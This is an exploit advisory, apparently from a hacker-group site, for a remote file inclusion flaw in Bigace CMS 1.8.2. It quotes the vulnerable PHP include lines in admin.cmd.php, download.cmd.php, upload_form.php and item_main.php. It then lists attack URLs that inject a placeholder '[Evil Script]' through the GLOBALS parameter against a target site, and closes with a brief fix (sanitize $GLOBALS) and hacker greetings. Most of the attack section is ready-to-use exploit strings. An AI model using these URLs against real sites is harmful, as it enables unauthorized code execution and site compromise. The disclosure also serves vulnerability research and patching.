Author : Vampire	

Location : Iran - Tehran

HomePage : http://www.hackerz.ir

Email : Vampire_chiristof[at]yahoo[dot]com

Critical Level : Dangerous

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Affected Software Description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Bigace

version : 1.8.2

URL : http://Bigace.sourceforge.net

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Vulnerability:

~~~~~~~~~~~~~

in download.cmd.php , admin.cmd.php , upload_form.php We Found Vulnerability Script

----------------------------------------admin.cmd.php-----------------------
---------------

....

<?php

            require_once($GLOBALS['_BIGACE']['DIR']['admin'].'styling.php');
            require_once($GLOBALS['_BIGACE']['DIR']['admin'].'functions.inc.php');
            include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php');
            

?>

...
----------------------------------------download.cmd.php-----------------------
---------------
....

<?php

            include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php');
            

?>

...


----------------------------------------upload_form.php-----------------------
---------------
....

<?php

           require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants.php');
            

?>

...




----------------------------------------item_main.php-----------------------
---------------
....


<?php

          require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants.php');



?>

...



Exploit:

~~~~~~~


http://www.target.com/[Bigace]/system/admin/include/item_main.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/admin/include/upload_form.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evil Script]

Solution:

~~~~~~~~

Sanitize Variabel $GLOBALS in download.cmd.php , admin.cmd.php , item_main.php , upload_form.php

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Shoutz:

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~ Special Greetz to My Best Friends Cephexin , Sh3ll , MFOX , Alijbs and All Real Hackers